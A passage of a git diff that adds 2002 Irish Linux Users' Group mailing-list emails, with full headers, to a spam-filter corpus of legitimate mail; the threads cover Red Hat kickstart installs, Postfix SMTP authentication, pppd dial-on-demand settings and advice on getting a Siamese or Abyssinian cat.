+From ilug-admin@linux.ie Thu Aug 22 10:46:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 144B843C46 + for ; Thu, 22 Aug 2002 05:46:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:08 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LJHuZ06380 for + ; Wed, 21 Aug 2002 20:17:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA19343; Wed, 21 Aug 2002 20:16:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA19307 for ; + Wed, 21 Aug 2002 20:16:31 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id EF0312B79B for ; + Wed, 21 Aug 2002 20:15:54 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2623) id A65A7E957; + Wed, 21 Aug 2002 20:15:54 +0100 (IST) +Date: Wed, 21 Aug 2002 20:15:54 +0100 +To: ilug@linux.ie +Message-Id: <20020821191551.GA6862@csn.ul.ie> +Mail-Followup-To: deccy@csn.ul.ie, ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.24i +From: deccy@csn.ul.ie (Declan Houlihan) +Subject: [ILUG] redhat kickstart +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +How many Redhat admins out there use the redhat kickstart? +If you don't use it, how do you install redhat on all your +workstations, do you do it by hand, with the cds? + +As we are looking at using Linux at work, I'm looking +into setting up the kickstart. There doesn't seem to +be a lot of documentation around about it. + +Does anybody know if it would be possible to do the following: +Get the machine to boot using DHCP and read it's kickstart +config file from teh DHCP server and in this config file +have the machine configured to use a static IP, so that when +the machine is rebooted it will come up with it's new IP. + +Also, There was no driver on the redhat network install flopopy +for the network card in the machine I'm installing. This required +me to uncompress the floppy image, loop mount it, add in the module +for the network card and compress it all up again. I'm not going +to be able to do this every time we get a new machine, I was +wondering if instead of having a boot floppy, you could use a boot +cdrom, but just for the purpose of having all the network card +modules on the cdrom. I'd still want it to get the packages from +an NFS server on the network. + +Any help with this would be greatly appreciated, +cheers, +deccy. + +-- +--------------------------------------- +Declan Houlihan +deccy@csn.ul.ie +http://deccy.csn.ul.ie/ +--------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00023.0e033ed93f68fcb5aab26cbf511caf0e b/bayes/spamham/easy_ham_2/00023.0e033ed93f68fcb5aab26cbf511caf0e new file mode 100644 index 0000000..5d00da8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00023.0e033ed93f68fcb5aab26cbf511caf0e @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Thu Aug 22 10:46:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DD30443C47 + for ; Thu, 22 Aug 2002 05:46:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LMRCZ12087 for + ; Wed, 21 Aug 2002 23:27:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA27862; Wed, 21 Aug 2002 23:26:01 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA27823 for ; Wed, + 21 Aug 2002 23:25:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-51.bas1.dbn.dublin.eircom.net + (k100-51.bas1.dbn.dublin.eircom.net [159.134.100.51]) by mail.go2.ie + (Postfix) with ESMTP id E2A491105 for ; Wed, 21 Aug 2002 + 23:25:09 +0100 (IST) +Subject: Re: [ILUG] SMTP auth & mutt +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <20020820111004.GD14073@jinny.ie> +References: <20020820102914.GC12174@jinny.ie> + <20020820120618.F4237@prodigy.Redbrick.DCU.IE> + <20020820111004.GD14073@jinny.ie> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-2mdk +Date: 21 Aug 2002 23:21:33 +0100 +Message-Id: <1029968494.2167.2.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, 2002-08-20 at 12:10, John P. Looney wrote: +> Hmm. Yeah, mutt sorta calls the sendmail program directly. But I thought +> it would be very crap if the auth details (username, password) had to be +> hardcoded into the sendmail.cf (and damned if I can work out how to do +> that anyway). + +Postfix provides a binary called /usr/sbin/sendmail that does the right +thing. Which, presumably involves sticking your outgoing going message +in the right queue. Then you need your postfix SMTP client to +authenticate with your postfix SMTP server. Are you using SASL? If so, +I remember seeing documentation on how to configure the postfix SMTP +client to authenticate. + +Nick + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00024.066b89ecd18c7688e91833f97cf415ca b/bayes/spamham/easy_ham_2/00024.066b89ecd18c7688e91833f97cf415ca new file mode 100644 index 0000000..4cae33c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00024.066b89ecd18c7688e91833f97cf415ca @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Thu Aug 22 10:46:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 13C2343C37 + for ; Thu, 22 Aug 2002 05:46:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LLLUZ10070 for + ; Wed, 21 Aug 2002 22:21:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA24917; Wed, 21 Aug 2002 22:19:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay05.indigo.ie (relay05.indigo.ie [194.125.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id WAA24887 for ; + Wed, 21 Aug 2002 22:19:42 +0100 +Received: (qmail 6129 messnum 1196429 invoked from + network[194.125.186.50/ts01-050.sligo.indigo.ie]); 21 Aug 2002 21:19:42 + -0000 +Received: from ts01-050.sligo.indigo.ie (HELO fandango) (194.125.186.50) + by relay05.indigo.ie (qp 6129) with SMTP; 21 Aug 2002 21:19:42 -0000 +Received: from ivan by fandango with local (Exim 3.34 #1 (Debian)) id + 17hdrM-0000H7-00 for ; Wed, 21 Aug 2002 22:21:52 +0000 +Date: Wed, 21 Aug 2002 22:21:51 +0000 +From: Ivan Kelly +To: ilug@linux.ie +Subject: Re: [ILUG] dial-on-demand +Message-Id: <20020821222151.GA824@ivankelly.net> +Mail-Followup-To: ilug@linux.ie +References: <3680.64.110.46.132.1029912731.squirrel@mpsc.ph> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3680.64.110.46.132.1029912731.squirrel@mpsc.ph> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Aug 21, 2002 at 02:52:11PM +0800, al@mpsc.ph wrote: +> Could you please help me how to set up a dial-on-demand, what are the +> packages needed, +> and other requirements to get on. +depends on what you are using to dial. for debian put "demand" in +/etc/ppp/peers/. use "idle 600" to set the timeout to 10 +minutes(600 secs). im not sure where exactly to put it for other +distros. whereever pppd gets it options from. + +regards +-- +Ivan Kelly + +ivan@ivankelly.net + +-----BEGIN GEEK CODE BLOCK----- +Version: 3.12 +GCS d- s+: a--- C++ UL++++ P+++ L+++ E--- W++ N+ o-- K- w--- +O-- M-- V-- PS+++ PE- Y+ PGP++ t+ 5 X++ R tv+ b+ DI+ D++ +G e h! r-- y+ +------END GEEK CODE BLOCK------ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00025.84faba510a966c90f6ca7658260a7e4c b/bayes/spamham/easy_ham_2/00025.84faba510a966c90f6ca7658260a7e4c new file mode 100644 index 0000000..f9fc1c0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00025.84faba510a966c90f6ca7658260a7e4c @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Thu Aug 22 10:46:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A771D43C4A + for ; Thu, 22 Aug 2002 05:46:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M841Z30754 for + ; Thu, 22 Aug 2002 09:04:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA16541; Thu, 22 Aug 2002 09:02:47 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA16505 for ; Thu, + 22 Aug 2002 09:02:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Thu, 22 Aug 2002 09:02:36 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E0188563C@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'deccy@csn.ul.ie'" , ilug@linux.ie +Subject: RE: [ILUG] redhat kickstart +Date: Thu, 22 Aug 2002 09:02:34 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Check out this. Its for compaq kit, but a pc's a pc ;--) + +http://www.geocities.com/rlcomp_1999/procedures/kickstart-rh70.html + +There are other articles too. + +Hope that helps, + +CW +---------------- +How many Redhat admins out there use the redhat kickstart? +If you don't use it, how do you install redhat on all your +workstations, do you do it by hand, with the cds? + +As we are looking at using Linux at work, I'm looking +into setting up the kickstart. There doesn't seem to +be a lot of documentation around about it. + +Does anybody know if it would be possible to do the following: +Get the machine to boot using DHCP and read it's kickstart +config file from teh DHCP server and in this config file +have the machine configured to use a static IP, so that when +the machine is rebooted it will come up with it's new IP. + +Also, There was no driver on the redhat network install flopopy +for the network card in the machine I'm installing. This required +me to uncompress the floppy image, loop mount it, add in the module +for the network card and compress it all up again. I'm not going +to be able to do this every time we get a new machine, I was +wondering if instead of having a boot floppy, you could use a boot +cdrom, but just for the purpose of having all the network card +modules on the cdrom. I'd still want it to get the packages from +an NFS server on the network. + +Any help with this would be greatly appreciated, +cheers, +deccy. + +-- +--------------------------------------- +Declan Houlihan +deccy@csn.ul.ie +http://deccy.csn.ul.ie/ +--------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00026.1757d50d495d41e8a5eb30a2f371019c b/bayes/spamham/easy_ham_2/00026.1757d50d495d41e8a5eb30a2f371019c new file mode 100644 index 0000000..8658782 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00026.1757d50d495d41e8a5eb30a2f371019c @@ -0,0 +1,102 @@ +From social-admin@linux.ie Wed Aug 21 16:23:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7690D43C32 + for ; Wed, 21 Aug 2002 11:23:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:23:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFMpZ31110 for + ; Wed, 21 Aug 2002 16:22:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA06299; Wed, 21 Aug 2002 16:22:45 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from nwd2mime2.analog.com (nwd2mime2.analog.com [137.71.25.114]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA06261 for + ; Wed, 21 Aug 2002 16:22:38 +0100 +Received: from nwd2gtw1 (unverified) by nwd2mime2.analog.com (Content + Technologies SMTPRS 4.2.5) with SMTP id + for ; + Wed, 21 Aug 2002 11:22:35 -0400 +Received: from nwd2mhb1 ([137.71.5.12]) by nwd2gtw1; Wed, 21 Aug 2002 + 11:22:32 -0400 (EDT) +Received: from dsun1.adbvdesign.analog.com ([137.71.42.101]) by + nwd2mhb1.analog.com with ESMTP (8.9.3 (PHNE_18979)/8.7.1) id LAA14172 for + ; Wed, 21 Aug 2002 11:22:31 -0400 (EDT) +Received: from dsun358.adbvdesign.analog.com (dsun358 [137.71.41.58]) by + dsun1.adbvdesign.analog.com (8.11.6+Sun/8.11.6) with ESMTP id g7LFMOK02531 + for ; Wed, 21 Aug 2002 16:22:24 +0100 (BST) +Received: from dsun358 (localhost [127.0.0.1]) by + dsun358.adbvdesign.analog.com (8.8.8+Sun/8.8.8) with SMTP id QAA12618 for + ; Wed, 21 Aug 2002 16:22:34 +0100 (BST) +Date: Wed, 21 Aug 2002 16:22:33 +0100 +From: Paul Askins +To: social@linux.ie +Subject: Re: [ILUG-Social] Re: [ILUG] Formatting a windows partition from Linux +Message-Id: <20020821162233.70a68a68.paul.askins@adbvdesign.analog.com> +In-Reply-To: <200208211601.ab21162@salmon.maths.tcd.ie> +References: <20020821154732.1034974a.paul.askins@adbvdesign.analog.com> + <200208211601.ab21162@salmon.maths.tcd.ie> +Organization: Analog Devices +X-Mailer: Sylpheed version 0.7.8claws (GTK+ 1.2.7; ) +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Lacking in a _____ + / ___ \ + / / \_\ + _| |__ + |_ __| + _| |__ + |_ __| + | | __ + \ \___/ / + \_____/ symbol on stupid solaris, I decided to fall back on good +ole' slang (and being in Limerick, used the local). Besides, the quid is +no more :( + +But floppy discs are still quite cheep, aren't they? + +Paul, way to busy to be doing this. + +Sure wasn't it Niall Brady +sometime around Wed, 21 Aug 2002 16:01:39 +0100 said: + +> On Wed, 21 Aug 2002 15:47:32 BST, Paul Askins said: +> > +> >Option 2, buy a floppy drive, they're only about 15 or 20 yoyos. +> ^^^^^ +> ___ _ _ ___ ____ +> / _ \| | | |_ _| _ \ +> | | | | | | || || | | | +> | |_| | |_| || || |_| | +> \__\_\\___/|___|____/ +> +> [or at worst, squid :-)] +> +> -- +> Niall +> + +-- +Paul Askins <:) +Email: Paul Askins + +The truth of a proposition has nothing to do with its credibility. And +vice versa. + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00027.c9e76a75d21f9221d65d4d577a2cfb75 b/bayes/spamham/easy_ham_2/00027.c9e76a75d21f9221d65d4d577a2cfb75 new file mode 100644 index 0000000..2453537 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00027.c9e76a75d21f9221d65d4d577a2cfb75 @@ -0,0 +1,81 @@ +From social-admin@linux.ie Fri Jul 19 14:32:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 895A543FAD + for ; Fri, 19 Jul 2002 09:32:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 14:32:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JDSNJ32301 for + ; Fri, 19 Jul 2002 14:28:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA06989; Fri, 19 Jul 2002 14:28:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA06955 for ; + Fri, 19 Jul 2002 14:28:03 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id CB9954BE05; Fri, 19 Jul 2002 14:28:02 +0100 (IST) +Content-Type: text/plain; charset="iso-8859-15" +From: Colm Buckley +To: "Wynne, Conor" +Subject: Re: [ILUG-Social] Completely OT, Siamese Cats??? +Date: Fri, 19 Jul 2002 14:28:02 +0100 +User-Agent: KMail/1.4.2 +Cc: social@linux.ie +References: <0D443C91DCE9CD40B1C795BA222A729E0188546A@milexc01.maxtor.com> +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E0188546A@milexc01.maxtor.com> +MIME-Version: 1.0 +Message-Id: <200207191428.02393.colm@tuatha.org> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + OAA06955 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +On Fri 19 Jul 2002 12:41, Wynne, Conor wrote: + +> As long as it looks like the cat type Pokemon called "Persian" [It just +> looks like a siamese] + +You're going to get Significant Frowns from your average cat breeder +if you say you want a cat who looks like a Pokémon. + +Why is that Pokémon called "Persian", anyway - it looks nothing like a +Persian cat? It does look like a Siamese or (more likely) +Abyssinian. If you want one of these breeds, I hope you're prepared +to part with ¤BIGNUM; they're not cheap. + +There aren't a lot of "quality" cat breeders in Ireland, and they tend +not to have many kittens for sale, so I don't know how feasible it is +to get a Siamese or Abyssinian in a hurry. "Not very", is my best +guess. + +> I see the Burmese are nice but I like the pointy ears of the +> Siamese. + +Siamese *in general* aren't the friendliest of cats; they tend to be +slightly overbred and you end up with hissing maniacs as a result. +Abys tend to be nicer, and Burmese nicer still. You can be lucky with +individual cats, though. + + Colm + +-- +Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name +Santaclaustrophobia: Fear of crowded holiday shopping. + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00028.4e9595edd918f1a5fa26f8740cfdb358 b/bayes/spamham/easy_ham_2/00028.4e9595edd918f1a5fa26f8740cfdb358 new file mode 100644 index 0000000..c3f6507 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00028.4e9595edd918f1a5fa26f8740cfdb358 @@ -0,0 +1,74 @@ +From social-admin@linux.ie Fri Jul 19 14:54:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3DA2143FAD + for ; Fri, 19 Jul 2002 09:54:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 14:54:42 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JDoUJ01497 for + ; Fri, 19 Jul 2002 14:50:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA08048; Fri, 19 Jul 2002 14:50:16 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA08008 for ; Fri, + 19 Jul 2002 14:50:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Fri, 19 Jul 2002 14:50:05 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E0188546F@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Colm Buckley'" +Cc: social@linux.ie +Subject: RE: [ILUG-Social] Completely OT, Siamese Cats??? +Date: Fri, 19 Jul 2002 14:50:05 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-15" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + OAA08008 +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Thanks Colm, + +----------- +>You're going to get Significant Frowns from your average cat breeder +>if you say you want a cat who looks like a Pokémon. +----------- + +;-) Yep I know, but wee Daisy really loves Pokemon but she loves "persians" +equally, actually any cat really, its really me that wants the pokemon style +cat ;) + +----------------- +>Why is that Pokémon called "Persian", anyway - it looks nothing like a +>Persian cat? It does look like a Siamese or (more likely) +>Abyssinian. If you want one of these breeds, I hope you're prepared +>to part with ¤BIGNUM; they're not cheap. + +--------- +Yep 450 yoyo's for a wee one, thats a lot of fish food. And I might not even +get one in the Republic. An Abssynian you say looks like the pokemon +Persian? That would qualify nicely. + +Thanks for the advice ladies, I now have TWO options. At least I still have +till Haloween before Daisy turns 5. D-Day. + +Regards +CW + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00029.807838f09bfb11b71e179a75334a5a62 b/bayes/spamham/easy_ham_2/00029.807838f09bfb11b71e179a75334a5a62 new file mode 100644 index 0000000..0bf9a75 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00029.807838f09bfb11b71e179a75334a5a62 @@ -0,0 +1,61 @@ +From social-admin@linux.ie Fri Jul 19 16:13:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BAF91440CC + for ; Fri, 19 Jul 2002 11:12:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:12:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JFBwJ07589 for + ; Fri, 19 Jul 2002 16:11:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA11877; Fri, 19 Jul 2002 16:11:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id QAA11838 for ; Fri, + 19 Jul 2002 16:11:37 +0100 +From: ciaran17@eircom.net +Message-Id: <200207191511.QAA11838@lugh.tuatha.org> +Received: (qmail 23596 messnum 301540 invoked from + network[159.134.237.75/jimbo.eircom.net]); 19 Jul 2002 15:09:49 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail05.svc.cra.dublin.eircom.net (qp 23596) with SMTP; 19 Jul 2002 + 15:09:49 -0000 +To: "Wynne, Conor" , + "'Colm Buckley'" +Cc: social@linux.ie +Subject: RE: [ILUG-Social] Completely OT, Siamese Cats??? +Date: Fri, 19 Jul 2002 16:09:49 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 159.134.146.204 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +You could pay a visit to your local cat sanctuary|cats home|shelter|pound and see if they have a beastie which matches your search terms (healthy + looks like Persian + good with kids); they won't charge you $ARM+LEG (probably they'll just ask for a donation) and I doubt your daughter will mind much where the cat came from. The cat certainly won't mind, if he/she is well cared for afterwards! + +Do take the cat to a vet for a checkup and make sure it gets the proper shots, etc. Might be a good idea to have the "snip" done too while you're there. (the cat, not you!!) Most sanctuaries will make sure these jobs are already done but you should make sure. + +A word of warning, some cats in sanctuaries will have been mistreated in past lives and might not be good with kids, or could be quite nervous. Bring your daughter to see the cat you've chosen to see how they react to one another. + +Ciaran (0wned by a consortium of felines) + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00030.cc523265aefc37ee6ce3015d8ff6aa24 b/bayes/spamham/easy_ham_2/00030.cc523265aefc37ee6ce3015d8ff6aa24 new file mode 100644 index 0000000..b503ca6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00030.cc523265aefc37ee6ce3015d8ff6aa24 @@ -0,0 +1,64 @@ +From social-admin@linux.ie Fri Jul 19 23:23:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 24517440CC + for ; Fri, 19 Jul 2002 18:22:58 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:22:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JMMDJ09408 for + ; Fri, 19 Jul 2002 23:22:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA03757; Fri, 19 Jul 2002 23:21:21 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA03716 for ; + Fri, 19 Jul 2002 23:21:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: by matrix.netsoc.tcd.ie (Postfix, from userid 1088) id + ACC313445B; Fri, 19 Jul 2002 23:21:14 +0100 (IST) +Received: from localhost (localhost [127.0.0.1]) by matrix.netsoc.tcd.ie + (Postfix) with ESMTP id A4AC331006 for ; Fri, + 19 Jul 2002 23:21:14 +0100 (IST) +Date: Fri, 19 Jul 